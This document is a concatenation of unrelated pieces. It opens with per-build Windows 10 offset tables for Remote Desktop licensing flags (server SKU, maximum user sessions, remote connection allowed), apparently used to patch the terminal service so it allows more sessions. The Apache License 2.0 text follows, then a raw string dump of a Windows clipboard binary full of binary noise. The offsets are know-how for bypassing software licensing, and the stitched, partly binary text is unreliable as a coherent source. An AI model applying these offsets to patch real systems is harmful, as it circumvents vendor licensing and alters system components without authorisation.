bServerSku.x64        =E9484
lMaxUserSessions.x64  =E9488
bAppServerAllowed.x64 =E948C
[10.0.16179.1000-SLInit]
bInitialized.x86      =C7F6C
bServerSku.x86        =C7F70
lMaxUserSessions.x86  =C7F74
bAppServerAllowed.x86 =C7F78
bRemoteConnAllowed.x86=C7F7C
bMultimonAllowed.x86  =C7F80
ulMaxDebugSessions.x86=C7F84
bFUSEnabled.x86       =C7F88
bServerSku.x64        =E83D8
lMaxUserSessions.x64  =E83DC
bAppServerAllowed.x64 =E83E0
bInitialized.x64      =E9490
bRemoteConnAllowed.x64=E9494
bMultimonAllowed.x64  =E9498
ulMaxDebugSessions.x64=E949C
bFUSEnabled.x64       =E94A0
[10.0.16184.1001-SLInit]
bInitialized.x86      =C7F6C
bServerSku.x86        =C7F70
lMaxUserSessions.x86  =C7F74
bAppServerAllowed.x86 =C7F78
bRemoteConnAllowed.x86=C7F7C
bMultimonAllowed.x86  =C7F80
ulMaxDebugSessions.x86=C7F84
bFUSEnabled.x86       =C7F88
bServerSku.x64        =E83D8
lMaxUserSessions.x64  =E83DC
bAppServerAllowed.x64 =E83E0
bInitialized.x64      =E9490
bRemoteConnAllowed.x64=E9494
bMultimonAllowed.x64  =E9498
ulMaxDebugSessions.x64=E949C
bFUSEnabled.x64       =E94A0
[10.0.16199.1000-SLInit]
bInitialized.x86      =C8F74
bServerSku.x86        =C8F78
lMaxUserSessions.x86  =C8F7C
bAppServerAllowed.x86 =C8F80
bRemoteConnAllowed.x86=C8F84
bMultimonAllowed.x86  =C8F88
ulMaxDebugSessions.x86=C8F8C
bFUSEnabled.x86       =C8F90
bServerSku.x64        =E83E8
lMaxUserSessions.x64  =E83EC
bAppServerAllowed.x64 =E83F0
bInitialized.x64      =E94A0
bRemoteConnAllowed.x64=E94A4
bMultimonAllowed.x64  =E94A8
ulMaxDebugSessions.x64=E94AC
bFUSEnabled.x64       =E94B0
[10.0.16215.1000-SLInit]
bInitialized.x86      =C5F78
bServerSku.x86        =C5F7C
lMaxUserSessions.x86  =C5F80
bAppServerAllowed.x86 =C5F84
bRemoteConnAllowed.x86=C5F88
bMultimonAllowed.x86  =C5F8C
ulMaxDebugSessions.x86=C5F90
bFUSEnabled.x86       =C5F94
bServerSku.x64        =EA3E8
lMaxUserSessions.x64  =EA3EC
bAppServerAllowed.x64 =EA3F0
bInitialized.x64      =EB4A0
bRemoteConnAllowed.x64=EB4A4
bMultimonAllowed.x64  =EB4A8
ulMaxDebugSessions.x64=EB4AC
bFUSEnabled.x64       =EB4B0
[10.0.16232.1000-SLInit]
bInitialized.x86      =C5F78
bServerSku.x86        =C5F7C
lMaxUserSessions.x86  =C5F80
bAppServerAllowed.x86 =C5F84
bRemoteConnAllowed.x86=C5F88
bMultimonAllowed.x86  =C5F8C
ulMaxDebugSessions.x86=C5F90
bFUSEnabled.x86       =C5F94
bServerSku.x64        =EA3E8
lMaxUserSessions.x64  =EA3EC
bAppServerAllowed.x64 =EA3F0
bInitialized.x64      =EB4A0
bRemoteConnAllowed.x64=EB4A4
bMultimonAllowed.x64  =EB4A8
ulMaxDebugSessions.x64=EB4AC
bFUSEnabled.x64       =EB4B0
[10.0.16237.1001-SLInit]
bInitialized.x86      =C5F78
bServerSku.x86        =C5F7C
lMaxUserSessions.x86  =C5F80
bAppServerAllowed.x86 =C5F84
bRemoteConnAllowed.x86=C5F88
bMultimonAllowed.x86  =C5F8C
ulMaxDebugSessions.x86=C5F90
bFUSEnabled.x86       =C5F94
bServerSku.x64        =EB3EC
lMaxUserSessions.x64  =EB3F0
bAppServerAllowed.x64 =EB3F4
bInitialized.x64      =EC4A0
bRemoteConnAllowed.x64=EC4A4
bMultimonAllowed.x64  =EC4A8
ulMaxDebugSessions.x64=EC4AC
bFUSEnabled.x64       =EC4B0
[10.0.16241.1001-SLInit]
bInitialized.x86      =C5F78
bServerSku.x86        =C5F7C
lMaxUserSessions.x86  =C5F80
bAppServerAllowed.x86 =C5F84
bRemoteConnAllowed.x86=C5F88
bMultimonAllowed.x86  =C5F8C
ulMaxDebugSessions.x86=C5F90
bFUSEnabled.x86       =C5F94
bServerSku.x64        =EB3EC
lMaxUserSessions.x64  =EB3F0
bAppServerAllowed.x64 =EB3F4
bInitialized.x64      =EC4A0
bRemoteConnAllowed.x64=EC4A4
bMultimonAllowed.x64  =EC4A8
ulMaxDebugSessions.x64=EC4AC
bFUSEnabled.x64       =EC4B0
[10.0.16251.0-SLInit]
bInitialized.x86      =C9F78
bServerSku.x86        =C9F7C
lMaxUserSessions.x86  =C9F80
bAppServerAllowed.x86 =C9F84
bRemoteConnAllowed.x86=C9F88
bMultimonAllowed.x86  =C9F8C
ulMaxDebugSessions.x86=C9F90
bFUSEnabled.x86       =C9F94
bServerSku.x64        =EB3EC
lMaxUserSessions.x64  =EB3F0
bAppServerAllowed.x64 =EB3F4
bInitialized.x64      =EC4A0
bRemoteConnAllowed.x64=EC4A4
bMultimonAllowed.x64  =EC4A8
ulMaxDebugSessions.x64=EC4AC
bFUSEnabled.x64       =EC4B0
[10.0.16251.1000-SLInit]
bInitialized.x86      =C9F78
bServerSku.x86        =C9F7C
lMaxUserSessions.x86  =C9F80
bAppServerAllowed.x86 =C9F84
bRemoteConnAllowed.x86=C9F88
bMultimonAllowed.x86  =C9F8C
ulMaxDebugSessions.x86=C9F90
bFUSEnabled.x86       =C9F94
bServerSku.x64        =EB3EC
lMaxUserSessions.x64  =EB3F0
bAppServerAllowed.x64 =EB3F4
bInitialized.x64      =EC4A0
bRemoteConnAllowed.x64=EC4A4
bMultimonAllowed.x64  =EC4A8
ulMaxDebugSessions.x64=EC4AC
bFUSEnabled.x64       =EC4B0
[10.0.16257.1-SLInit]
bInitialized.x86      =C9F7C
bServerSku.x86        =C9F80
lMaxUserSessions.x86  =C9F84
bAppServerAllowed.x86 =C9F88
bRemoteConnAllowed.x86=C9F8C
bMultimonAllowed.x86  =C9F90
ulMaxDebugSessions.x86=C9F94
bFUSEnabled.x86       =C9F98
bServerSku.x64        =EB3F0
lMaxUserSessions.x64  =EB3F4
bAppServerAllowed.x64 =EB3F8
bInitialized.x64      =EC4A0
bRemoteConnAllowed.x64=EC4A4
bMultimonAllowed.x64  =EC4A8
ulMaxDebugSessions.x64=EC4AC
bFUSEnabled.x64       =EC4B0
[10.0.16257.1000-SLInit]
bInitialized.x86      =C9F7C
bServerSku.x86        =C9F80
lMaxUserSessions.x86  =C9F84
bAppServerAllowed.x86 =C9F88
bRemoteConnAllowed.x86=C9F8C
bMultimonAllowed.x86  =C9F90
ulMaxDebugSessions.x86=C9F94
bFUSEnabled.x86       =C9F98
bServerSku.x64        =EB3F0
lMaxUserSessions.x64  =EB3F4
bAppServerAllowed.x64 =EB3F8
bInitialized.x64      =EC4A0
bRemoteConnAllowed.x64=EC4A4
bMultimonAllowed.x64  =EC4A8
ulMaxDebugSessions.x64=EC4AC
bFUSEnabled.x64       =EC4B0
[10.0.16273.1000-SLInit]
bInitialized.x86      =C9F7C
bServerSku.x86        =C9F80
lMaxUserSessions.x86  =C9F84
bAppServerAllowed.x86 =C9F88
bRemoteConnAllowed.x86=C9F8C
bMultimonAllowed.x86  =C9F90
ulMaxDebugSessions.x86=C9F94
bFUSEnabled.x86       =C9F98
bServerSku.x64        =EB3F0
lMaxUserSessions.x64  =EB3F4
bAppServerAllowed.x64 =EB3F8
bInitialized.x64      =EC4A0
bRemoteConnAllowed.x64=EC4A4
bMultimonAllowed.x64  =EC4A8
ulMaxDebugSessions.x64=EC4AC
bFUSEnabled.x64       =EC4B0
[10.0.16275.1000-SLInit]
bInitialized.x86      =C6F7C
bServerSku.x86        =C6F80
lMaxUserSessions.x86  =C6F84
bAppServerAllowed.x86 =C6F88
bRemoteConnAllowed.x86=C6F8C
bMultimonAllowed.x86  =C6F90
ulMaxDebugSessions.x86=C6F94
bFUSEnabled.x86       =C6F98
bServerSku.x64        =ED3E8
lMaxUserSessions.x64  =ED3EC
bAppServerAllowed.x64 =ED3F0
bInitialized.x64      =EE4A0
bRemoteConnAllowed.x64=EE4A4
bMultimonAllowed.x64  =EE4A8
ulMaxDebugSessions.x64=EE4AC
bFUSEnabled.x64       =EE4B0
[10.0.16278.1000-SLInit]
bInitialized.x86      =C6F7C
bServerSku.x86        =C6F80
lMaxUserSessions.x86  =C6F84
bAppServerAllowed.x86 =C6F88
bRemoteConnAllowed.x86=C6F8C
bMultimonAllowed.x86  =C6F90
ulMaxDebugSessions.x86=C6F94
bFUSEnabled.x86       =C6F98
bServerSku.x64        =ED3E8
lMaxUserSessions.x64  =ED3EC
bAppServerAllowed.x64 =ED3F0
bInitialized.x64      =EE4A0
bRemoteConnAllowed.x64=EE4A4
bMultimonAllowed.x64  =EE4A8
ulMaxDebugSessions.x64=EE4AC
bFUSEnabled.x64       =EE4B0
[10.0.16281.1000-SLInit]
bInitialized.x86      =C6F7C
bServerSku.x86        =C6F80
lMaxUserSessions.x86  =C6F84
bAppServerAllowed.x86 =C6F88
bRemoteConnAllowed.x86=C6F8C
bMultimonAllowed.x86  =C6F90
ulMaxDebugSessions.x86=C6F94
bFUSEnabled.x86       =C6F98
bServerSku.x64        =ED3E8
lMaxUserSessions.x64  =ED3EC
bAppServerAllowed.x64 =ED3F0
bInitialized.x64      =EE4A0
bRemoteConnAllowed.x64=EE4A4
bMultimonAllowed.x64  =EE4A8
ulMaxDebugSessions.x64=EE4AC
bFUSEnabled.x64       =EE4B0
[10.0.16288.1-SLInit]
bInitialized.x86      =C6F7C
bServerSku.x86        =C6F80
lMaxUserSessions.x86  =C6F84
bAppServerAllowed.x86 =C6F88
bRemoteConnAllowed.x86=C6F8C
bMultimonAllowed.x86  =C6F90
ulMaxDebugSessions.x86=C6F94
bFUSEnabled.x86       =C6F98
bServerSku.x64        =ED3E8
lMaxUserSessions.x64  =ED3EC
bAppServerAllowed.x64 =ED3F0
bInitialized.x64      =EE4A0
bRemoteConnAllowed.x64=EE4A4
bMultimonAllowed.x64  =EE4A8
ulMaxDebugSessions.x64=EE4AC
bFUSEnabled.x64       =EE4B0
[10.0.16291.0-SLInit]
bInitialized.x86      =C6F7C
bServerSku.x86        =C6F80
lMaxUserSessions.x86  =C6F84
bAppServerAllowed.x86 =C6F88
bRemoteConnAllowed.x86=C6F8C
bMultimonAllowed.x86  =C6F90
ulMaxDebugSessions.x86=C6F94
bFUSEnabled.x86       =C6F98
bServerSku.x64        =ED3E8
lMaxUserSessions.x64  =ED3EC
bAppServerAllowed.x64 =ED3F0
bInitialized.x64      =EE4A0
bRemoteConnAllowed.x64=EE4A4
bMultimonAllowed.x64  =EE4A8
ulMaxDebugSessions.x64=EE4AC
bFUSEnabled.x64       =EE4B0
[10.0.16294.1-SLInit]
bInitialized.x86      =C6F7C
bServerSku.x86        =C6F80
lMaxUserSessions.x86  =C6F84
bAppServerAllowed.x86 =C6F88
bRemoteConnAllowed.x86=C6F8C
bMultimonAllowed.x86  =C6F90
ulMaxDebugSessions.x86=C6F94
bFUSEnabled.x86       =C6F98
bServerSku.x64        =ED3E8
lMaxUserSessions.x64  =ED3EC
bAppServerAllowed.x64 =ED3F0
bInitialized.x64      =EE4A0
bRemoteConnAllowed.x64=EE4A4
bMultimonAllowed.x64  =EE4A8
ulMaxDebugSessions.x64=EE4AC
bFUSEnabled.x64       =EE4B0
[10.0.16296.0-SLInit]
bInitialized.x86      =C6F7C
bServerSku.x86        =C6F80
lMaxUserSessions.x86  =C6F84
bAppServerAllowed.x86 =C6F88
bRemoteConnAllowed.x86=C6F8C
bMultimonAllowed.x86  =C6F90
ulMaxDebugSessions.x86=C6F94
bFUSEnabled.x86       =C6F98
bServerSku.x64        =ED3E8
lMaxUserSessions.x64  =ED3EC
bAppServerAllowed.x64 =ED3F0
bInitialized.x64      =EE4A0
bRemoteConnAllowed.x64=EE4A4
bMultimonAllowed.x64  =EE4A8
ulMaxDebugSessions.x64=EE4AC
bFUSEnabled.x64       =EE4B0
[10.0.16299.0-SLInit]
bInitialized.x86      =C6F7C
bServerSku.x86        =C6F80
lMaxUserSessions.x86  =C6F84
bAppServerAllowed.x86 =C6F88
bRemoteConnAllowed.x86=C6F8C
bMultimonAllowed.x86  =C6F90
ulMaxDebugSessions.x86=C6F94
bFUSEnabled.x86       =C6F98
bServerSku.x64        =ED3E8
lMaxUserSessions.x64  =ED3EC
bAppServerAllowed.x64 =ED3F0
bInitialized.x64      =EE4A0
bRemoteConnAllowed.x64=EE4A4
bMultimonAllowed.x64  =EE4A8
ulMaxDebugSessions.x64=EE4AC
bFUSEnabled.x64       =EE4B0
[10.0.16299.15-SLInit]
bInitialized.x86      =C6F7C
bServerSku.x86        =C6F80
lMaxUserSessions.x86  =C6F84
bAppServerAllowed.x86 =C6F88
bRemoteConnAllowed.x86=C6F8C
bMultimonAllowed.x86  =C6F90
ulMaxDebugSessions.x86=C6F94
bFUSEnabled.x86       =C6F98
bServerSku.x64        =ED3E8
lMaxUserSessions.x64  =ED3EC
bAppServerAllowed.x64 =ED3F0
bInitialized.x64      =EE4A0
bRemoteConnAllowed.x64=EE4A4
bMultimonAllowed.x64  =EE4A8
ulMaxDebugSessions.x64=EE4AC
bFUSEnabled.x64       =EE4B0
[10.0.16353.1000-SLInit]
bInitialized.x86      =C6F7C
bServerSku.x86        =C6F80
lMaxUserSessions.x86  =C6F84
bAppServerAllowed.x86 =C6F88
bRemoteConnAllowed.x86=C6F8C
bMultimonAllowed.x86  =C6F90
ulMaxDebugSessions.x86=C6F94
bFUSEnabled.x86       =C6F98
bServerSku.x64        =ED3E8
lMaxUserSessions.x64  =ED3EC
bAppServerAllowed.x64 =ED3F0
bInitialized.x64      =EE4A0
bRemoteConnAllowed.x64=EE4A4
bMultimonAllowed.x64  =EE4A8
ulMaxDebugSessions.x64=EE4AC
bFUSEnabled.x64       =EE4B0
[10.0.16362.1000-SLInit]
bInitialized.x86      =C6F7C
bServerSku.x86        =C6F80
lMaxUserSessions.x86  =C6F84
bAppServerAllowed.x86 =C6F88
bRemoteConnAllowed.x86=C6F8C
bMultimonAllowed.x86  =C6F90
ulMaxDebugSessions.x86=C6F94
bFUSEnabled.x86       =C6F98
bServerSku.x64        =ED3E8
lMaxUserSessions.x64  =ED3EC
bAppServerAllowed.x64 =ED3F0
bInitialized.x64      =EE4A0
bRemoteConnAllowed.x64=EE4A4
bMultimonAllowed.x64  =EE4A8
ulMaxDebugSessions.x64=EE4AC
bFUSEnabled.x64       =EE4B0
[10.0.17004.1000-SLInit]
bInitialized.x86      =C6F7C
bServerSku.x86        =C6F80
lMaxUserSessions.x86  =C6F84
bAppServerAllowed.x86 =C6F88
bRemoteConnAllowed.x86=C6F8C
bMultimonAllowed.x86  =C6F90
ulMaxDebugSessions.x86=C6F94
bFUSEnabled.x86       =C6F98
bServerSku.x64        =ED3E8
lMaxUserSessions.x64  =ED3EC
bAppServerAllowed.x64 =ED3F0
bInitialized.x64      =EE4A0
bRemoteConnAllowed.x64=EE4A4
bMultimonAllowed.x64  =EE4A8
ulMaxDebugSessions.x64=EE4AC
bFUSEnabled.x64       =EE4B0
[10.0.17017.1000-SLInit]
bInitialized.x86      =C9EB8
bServerSku.x86        =C9EBC
lMaxUserSessions.x86  =C9EC0
bAppServerAllowed.x86 =C9EC4
bRemoteConnAllowed.x86=C9EC8
bMultimonAllowed.x86  =C9ECC
ulMaxDebugSessions.x86=C9ED0
bFUSEnabled.x86       =C9ED4
bServerSku.x64        =EC2E8
lMaxUserSessions.x64  =EC2EC
bAppServerAllowed.x64 =EC2F0
bInitialized.x64      =ED3A0
bRemoteConnAllowed.x64=ED3A4
bMultimonAllowed.x64  =ED3A8
ulMaxDebugSessions.x64=ED3AC
bFUSEnabled.x64       =ED3B0
[10.0.17025.1000-SLInit]
bInitialized.x86      =C9EB8
bServerSku.x86        =C9EBC
lMaxUserSessions.x86  =C9EC0
bAppServerAllowed.x86 =C9EC4
bRemoteConnAllowed.x86=C9EC8
bMultimonAllowed.x86  =C9ECC
ulMaxDebugSessions.x86=C9ED0
bFUSEnabled.x86       =C9ED4
bServerSku.x64        =EC2E8
lMaxUserSessions.x64  =EC2EC
bAppServerAllowed.x64 =EC2F0
bInitialized.x64      =ED3A0
bRemoteConnAllowed.x64=ED3A4
bMultimonAllowed.x64  =ED3A8
ulMaxDebugSessions.x64=ED3AC
bFUSEnabled.x64       =ED3B0
[10.0.17035.1000-SLInit]
bInitialized.x86      =C9ED8
bServerSku.x86        =C9EDC
lMaxUserSessions.x86  =C9EE0
bAppServerAllowed.x86 =C9EE4
bRemoteConnAllowed.x86=C9EE8
bMultimonAllowed.x86  =C9EEC
ulMaxDebugSessions.x86=C9EF0
bFUSEnabled.x86       =C9EF4
bServerSku.x64        =EC2E8
lMaxUserSessions.x64  =EC2EC
bAppServerAllowed.x64 =EC2F0
bInitialized.x64      =ED3A0
bRemoteConnAllowed.x64=ED3A4
bMultimonAllowed.x64  =ED3A8
ulMaxDebugSessions.x64=ED3AC
bFUSEnabled.x64       =ED3B0
[10.0.17046.1000-SLInit]
bInitialized.x86      =C9ED8
bServerSku.x86        =C9EDC
lMaxUserSessions.x86  =C9EE0
bAppServerAllowed.x86 =C9EE4
bRemoteConnAllowed.x86=C9EE8
bMultimonAllowed.x86  =C9EEC
ulMaxDebugSessions.x86=C9EF0
bFUSEnabled.x86       =C9EF4
bServerSku.x64        =EC2E8
lMaxUserSessions.x64  =EC2EC
bAppServerAllowed.x64 =EC2F0
bInitialized.x64      =ED3A0
bRemoteConnAllowed.x64=ED3A4
bMultimonAllowed.x64  =ED3A8
ulMaxDebugSessions.x64=ED3AC
bFUSEnabled.x64       =ED3B0
[10.0.17063.1000-SLInit]
bInitialized.x86      =CBF38
bServerSku.x86        =CBF3C
lMaxUserSessions.x86  =CBF40
bAppServerAllowed.x86 =CBF44
bRemoteConnAllowed.x86=CBF48
bMultimonAllowed.x86  =CBF4C
ulMaxDebugSessions.x86=CBF50
bFUSEnabled.x86       =CBF54
bServerSku.x64        =F1378
lMaxUserSessions.x64  =F137C
bAppServerAllowed.x64 =F1380
bInitialized.x64      =F2430
bRemoteConnAllowed.x64=F2434
bMultimonAllowed.x64  =F2438
ulMaxDebugSessions.x64=F243C
bFUSEnabled.x64       =F2440
                                 Apache License
                        Version 2.0, January 2004
                     http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
   "License" shall mean the terms and conditions for use, reproduction,
   and distribution as defined by Sections 1 through 9 of this document.
   "Licensor" shall mean the copyright owner or entity authorized by
   the copyright owner that is granting the License.
   "Legal Entity" shall mean the union of the acting entity and all
   other entities that control, are controlled by, or are under common
   control with that entity. For the purposes of this definition,
   "control" means (i) the power, direct or indirect, to cause the
   direction or management of such entity, whether by contract or
   otherwise, or (ii) ownership of fifty percent (50%) or more of the
   outstanding shares, or (iii) beneficial ownership of such entity.
   "You" (or "Your") shall mean an individual or Legal Entity
   exercising permissions granted by this License.
   "Source" form shall mean the preferred form for making modifications,
   including but not limited to software source code, documentation
   source, and configuration files.
   "Object" form shall mean any form resulting from mechanical
   transformation or translation of a Source form, including but
   not limited to compiled object code, generated documentation,
   and conversions to other media types.
   "Work" shall mean the work of authorship, whether in Source or
   Object form, made available under the License, as indicated by a
   copyright notice that is included in or attached to the work
   (an example is provided in the Appendix below).
   "Derivative Works" shall mean any work, whether in Source or Object
   form, that is based on (or derived from) the Work and for which the
   editorial revisions, annotations, elaborations, or other modifications
   represent, as a whole, an original work of authorship. For the purposes
   of this License, Derivative Works shall not include works that remain
   separable from, or merely link (or bind by name) to the interfaces of,
   the Work and Derivative Works thereof.
   "Contribution" shall mean any work of authorship, including
   the original version of the Work and any modifications or additions
   to that Work or Derivative Works thereof, that is intentionally
   submitted to Licensor for inclusion in the Work by the copyright owner
   or by an individual or Legal Entity authorized to submit on behalf of
   the copyright owner. For the purposes of this definition, "submitted"
   means any form of electronic, verbal, or written communication sent
   to the Licensor or its representatives, including but not limited to
   communication on electronic mailing lists, source code control systems,
   and issue tracking systems that are managed by, or on behalf of, the
   Licensor for the purpose of discussing and improving the Work, but
   excluding communication that is conspicuously marked or otherwise
   designated in writing by the copyright owner as "Not a Contribution."
   "Contributor" shall mean Licensor and any individual or Legal Entity
   on behalf of whom a Contribution has been received by Licensor and
   subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
   this License, each Contributor hereby grants to You a perpetual,
   worldwide, non-exclusive, no-charge, royalty-free, irrevocable
   copyright license to reproduce, prepare Derivative Works of,
   publicly display, publicly perform, sublicense, and distribute the
   Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
   this License, each Contributor hereby grants to You a perpetual,
   worldwide, non-exclusive, no-charge, royalty-free, irrevocable
   (except as stated in this section) patent license to make, have made,
   use, offer to sell, sell, import, and otherwise transfer the Work,
   where such license applies only to those patent claims licensable
   by such Contributor that are necessarily infringed by their
   Contribution(s) alone or by combination of their Contribution(s)
   with the Work to which such Contribution(s) was submitted. If You
   institute patent litigation against any entity (including a
   cross-claim or counterclaim in a lawsuit) alleging that the Work
   or a Contribution incorporated within the Work constitutes direct
   or contributory patent infringement, then any patent licenses
   granted to You under this License for that Work shall terminate
   as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
   Work or Derivative Works thereof in any medium, with or without
   modifications, and in Source or Object form, provided that You
   meet the following conditions:
   (a) You must give any other recipients of the Work or
       Derivative Works a copy of this License; and
   (b) You must cause any modified files to carry prominent notices
       stating that You changed the files; and
   (c) You must retain, in the Source form of any Derivative Works
       that You distribute, all copyright, patent, trademark, and
       attribution notices from the Source form of the Work,
       excluding those notices that do not pertain to any part of
       the Derivative Works; and
   (d) If the Work includes a "NOTICE" text file as part of its
       distribution, then any Derivative Works that You distribute must
       include a readable copy of the attribution notices contained
       within such NOTICE file, excluding those notices that do not
       pertain to any part of the Derivative Works, in at least one
       of the following places: within a NOTICE text file distributed
       as part of the Derivative Works; within the Source form or
       documentation, if provided along with the Derivative Works; or,
       within a display generated by the Derivative Works, if and
       wherever such third-party notices normally appear. The contents
       of the NOTICE file are for informational purposes only and
       do not modify the License. You may add Your own attribution
       notices within Derivative Works that You distribute, alongside
       or as an addendum to the NOTICE text from the Work, provided
       that such additional attribution notices cannot be construed
       as modifying the License.
   You may add Your own copyright statement to Your modifications and
   may provide additional or different license terms and conditions
   for use, reproduction, or distribution of Your modifications, or
   for any such Derivative Works as a whole, provided Your use,
   reproduction, and distribution of the Work otherwise complies with
   the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
   any Contribution intentionally submitted for inclusion in the Work
   by You to the Licensor shall be under the terms and conditions of
   this License, without any additional terms or conditions.
   Notwithstanding the above, nothing herein shall supersede or modify
   the terms of any separate license agreement you may have executed
   with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
   names, trademarks, service marks, or product names of the Licensor,
   except as required for reasonable and customary use in describing the
   origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
   agreed to in writing, Licensor provides the Work (and each
   Contributor provides its Contributions) on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
   implied, including, without limitation, any warranties or conditions
   of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
   PARTICULAR PURPOSE. You are solely responsible for determining the
   appropriateness of using or redistributing the Work and assume any
   risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
   whether in tort (including negligence), contract, or otherwise,
   unless required by applicable law (such as deliberate and grossly
   negligent acts) or agreed to in writing, shall any Contributor be
   liable to You for damages, including any direct, indirect, special,
   incidental, or consequential damages of any character arising as a
   result of this License or out of the use or inability to use the
   Work (including but not limited to damages for loss of goodwill,
   work stoppage, computer failure or malfunction, or any and all
   other commercial damages or losses), even if such Contributor
   has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
   the Work or Derivative Works thereof, You may choose to offer,
   and charge a fee for, acceptance of support, warranty, indemnity,
   or other liability obligations and/or rights consistent with this
   License. However, in accepting such obligations, You may act only
   on Your own behalf and on Your sole responsibility, not on behalf
   of any other Contributor, and only if You agree to indemnify,
   defend, and hold each Contributor harmless for any liability
   incurred by, or claims asserted against, such Contributor by reason
   of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
   To apply the Apache License to your work, attach the following
   boilerplate notice, with the fields enclosed by brackets "[]"
   replaced with your own identifying information. (Don't include
   the brackets!)  The text should be enclosed in the appropriate
   comment syntax for the file format. We also recommend that a
   file or class name and description of purpose be included on the
   same "printed page" as the copyright notice for easier
   identification within third-party archives.
Copyright [yyyy] [name of copyright owner]
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
!This program cannot be run in DOS mode.
`.data
@.reloc
ADVAPI32.dll
ntdll.DLL
KERNEL32.dll
USER32.dll
msvcrt.dll
SHELL32.dll
WINSTA.dll
WTSAPI32.dll
MPR.dll
RPCRT4.dll
ole32.dll
GDI32.dll
urlmon.dll
~^Zl	6Yl
PrintUIEntryW
CRdpClipMainWnd
CTSPlatform
CTSMsg
CTSEventFilterAllowAllEvents
CTSEventFilterBlockAllEvents
CTSEventFilterAllowSyncEventsOnly
CTSEventFilterAllowSpecifiedEvents
CTSObjectPool
CTS_TLS_ThreadDescriptor
CTSThread
CTSCoreEventSink
CTSCoreEvents
CTSCoreEventSource
CTSSyncWaitResult
CTSBufferResult
CTSWorkItemResult
CLIPRDR
CClipServer
CServerClipRdrPduDispatcher
MS randlib
L&&jl66Z~??A
Oh44\Q
sb11S*
uB!!c 
D""fT**~;
;d22Vt::N
J%%o\..r8
gg}V++
jL&&Zl66A~??
Sb11?*
tX,,.4
RRMv;;a
MMUf33
PPDx<<
cB!!0 
~~Gz==
fD""~T**
Vd22Nt::
xxoJ%%r\..$8
ppB|>>
aa_j55
UUxP((z
&jL&6Zl6?A~?
~=Gz=d
"fD"*~T*
2Vd2:Nt:
x%oJ%.r\.
a5_j5W
=&&jL66Zl??A~
g99KrJJ
==Gzdd
""fD**~T
22Vd::Nt
$$lH\\
77Ynmm
%%oJ..r\
55_jWW
[T:$6.
[.:$6g
j_FbT~
h4,8$@_
2\tHlWB
PQAeS~
~4[C)v
8$4,6-9'$6.:*?#1pHhX~AeSlZrNbS
EHl\tFeQ
T~FbZwKi
,8$4'6-9:$6.1*?#XpHhS~AeNlZrEbS
FeQbT~FiZwK
4,8$9'6-.:$6#1*?hXpHeS~ArNlZ
EbS\tHlQ
FeFbT~KiZw
$4,8-9'66.:$?#1*HhXpAeS~ZrNlS
Ebl\tHeQ
F~FbTwKiZ
CServerRdrVirtualChannel
CServerFormatDataPacker
CServerRdrFileTransfer
CServerFileNamePacker
CServerHdropPacker
GetUpdatedClipboardFormats
RemoveClipboardFormatListener
AddClipboardFormatListener
CClipReliableClipFunctions
CReliableClipUpdateHandler
wx6]+P
CEnumFormatEtc
CProxyDataObjectManager
CProxyDataObject
CProxyStreamManager
CProxyStream
CFileContentsReaderManager
rdpclip.pdb
QQSVW3
tIShx#
t[WhX'
tMWhh"
WWWWWPR
tJVhp(
t:Ht$HuD
Ht<HHt3Ht0
Ht4HHt+Ht(
Ht0HHt'Ht$
FTPh7=
tsVhH1
taShH1
VVVVVV
tsVhH1
t$(;t$$v<
t2PhXh
tWWhDl
Jt}Jt=
tSWhHz
tPWhP|
tPWh8~
Ht|HHtsHtp
9^lt	;
HtGHHt<Ht9
QSVWj:
 t=f=	
)9^ u)
tM9F t.
CheckTokenMembership
OpenThreadToken
FreeSid
AllocateAndInitializeSid
ADVAPI32.dll
InitializeCriticalSection
CloseHandle
GetLastError
CreateMutexW
HeapSetInformation
GetCurrentThread
DeleteCriticalSection
LeaveCriticalSection
EnterCriticalSection
CreateEventW
ProcessIdToSessionId
GetCurrentProcessId
WaitForSingleObject
FreeLibrary
GetProcAddress
LoadLibraryW
KERNEL32.dll
SetWindowLongW
DefWindowProcW
GetWindowLongW
RegisterClassExW
LoadCursorW
GetClassInfoExW
PostQuitMessage
PostMessageW
CreateWindowExW
USER32.dll
_vsnwprintf
_wcsicmp
__getmainargs
_cexit
_XcptFilter
_ismbblead
_acmdln
_initterm
_amsg_exit
__setusermatherr
_adjust_fdiv
__p__commode
__p__fmode
__set_app_type
_except_handler4_common
msvcrt.dll
?terminate@@YAXXZ
_controlfp
_unlock
__dllonexit
_onexit
SHChangeNotify
SHELL32.dll
WinStationQueryInformationW
WINSTA.dll
WTSUnRegisterSessionNotification
WTSRegisterSessionNotification
WTSAPI32.dll
WNetCancelConnection2W
WNetAddConnection2W
MPR.dll
NdrServerCall2
RpcServerUnregisterIfEx
RpcRevertToSelf
RpcImpersonateClient
RpcBindingInqAuthClientW
RpcServerListen
RpcServerRegisterIfEx
RpcServerUseProtseqEpW
RPCRT4.dll
TraceMessage
InterlockedExchange
InterlockedCompareExchange
GetStartupInfoA
SetUnhandledExceptionFilter
GetModuleHandleA
QueryPerformanceCounter
GetTickCount
GetCurrentThreadId
GetSystemTimeAsFileTime
TerminateProcess
GetCurrentProcess
UnhandledExceptionFilter
SendMessageW
DestroyWindow
_purecall
memcpy
memset
OleUninitialize
OleInitialize
ole32.dll
LocalAlloc
LocalFree
InterlockedIncrement
InterlockedDecrement
SetEvent
ResetEvent
